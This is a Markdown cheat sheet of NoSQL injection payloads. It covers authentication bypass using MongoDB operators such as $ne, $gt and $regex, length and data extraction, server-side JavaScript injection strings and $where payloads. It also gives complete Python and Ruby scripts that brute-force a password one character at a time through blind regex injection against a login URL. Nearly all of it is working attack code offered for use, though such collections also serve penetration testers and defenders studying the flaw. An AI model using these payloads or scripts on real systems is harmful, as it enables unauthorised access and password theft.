184 lines
4.4 KiB
Markdown
184 lines
4.4 KiB
Markdown
# NoSQL Injection
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## Exploit
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### Authentication Bypass
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Basic authentication bypass using not equal ($ne) or greater ($gt)
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```javascript
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in DATA
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username[$ne]=toto&password[$ne]=toto
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login[$regex]=a.*&pass[$ne]=lol
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login[$gt]=admin&login[$lt]=test&pass[$ne]=1
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login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
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in JSON
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{"username": {"$ne": null}, "password": {"$ne": null}}
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
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{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
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{"username": {"$gt":""}, "password": {"$gt":""}}
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```
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### Extract length information
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```javascript
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username[$ne]=toto&password[$regex]=.{1}
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username[$ne]=toto&password[$regex]=.{3}
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```
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### Extract data information
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```javascript
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in URL
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username[$ne]=toto&password[$regex]=m.{2}
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username[$ne]=toto&password[$regex]=md.{1}
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username[$ne]=toto&password[$regex]=mdp
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username[$ne]=toto&password[$regex]=m.*
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username[$ne]=toto&password[$regex]=md.*
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in JSON
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{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
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```
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Extract data with "in"
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```javascript
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{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
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```
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### SSJI
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```javascript
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';return 'a'=='a' && ''=='
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";return 'a'=='a' && ''=='
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0;return true
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```
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## Blind NoSQL
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### POST with JSON body
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python script
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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u="http://example.org/login"
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headers={'content-type': 'application/json'}
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
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if 'OK' in r.text or r.status_code == 302:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### POST with urlencoded body
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python script
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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u="http://example.org/login"
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headers={'content-type': 'application/x-www-form-urlencoded'}
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|','&','$']:
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payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
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r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
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if r.status_code == 302 and r.headers['Location'] == '/dashboard':
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print("Found one more char : %s" % (password+c))
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password += c
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```
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### GET
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python script
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username='admin'
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password=''
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u='http://example.org/login'
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|', '#', '&', '$']:
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payload=f"?username={username}&password[$regex]=^{password + c}"
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r = requests.get(u + payload)
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if 'Yeah' in r.text:
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print(f"Found one more char : {password+c}")
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password += c
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```
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ruby script
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```ruby
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require 'httpx'
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username = 'admin'
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password = ''
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url = 'http://example.org/login'
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# CHARSET = (?!..?~).to_a # all ASCII printable characters
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CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
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GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
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session = HTTPX.plugin(:persistent)
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while true
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CHARSET.each do |c|
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unless GET_EXCLUDE.include?(c)
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payload = "?username=#{username}&password[$regex]=^#{password + c}"
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res = session.get(url + payload)
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if res.body.to_s.match?('Yeah')
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puts "Found one more char : #{password + c}"
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password += c
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end
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end
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end
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end
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```
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## MongoDB Payloads
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```html
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true, $where: '1 == 1'
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, $where: '1 == 1'
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$where: '1 == 1'
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', $where: '1 == 1'
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1, $where: '1 == 1'
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{ $ne: 1 }
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', $or: [ {}, { 'a':'a
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' } ], $comment:'successful MongoDB injection'
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db.injection.insert({success:1});
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db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
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|| 1==1
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' && this.password.match(/.*/)//+%00
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' && this.passwordzz.match(/.*/)//+%00
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'%20%26%26%20this.password.match(/.*/)//+%00
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'%20%26%26%20this.passwordzz.match(/.*/)//+%00
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{$gt: ''}
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[$ne]=1
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';return 'a'=='a' && ''=='
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";return(true);var xyz='a
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0;return true
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```
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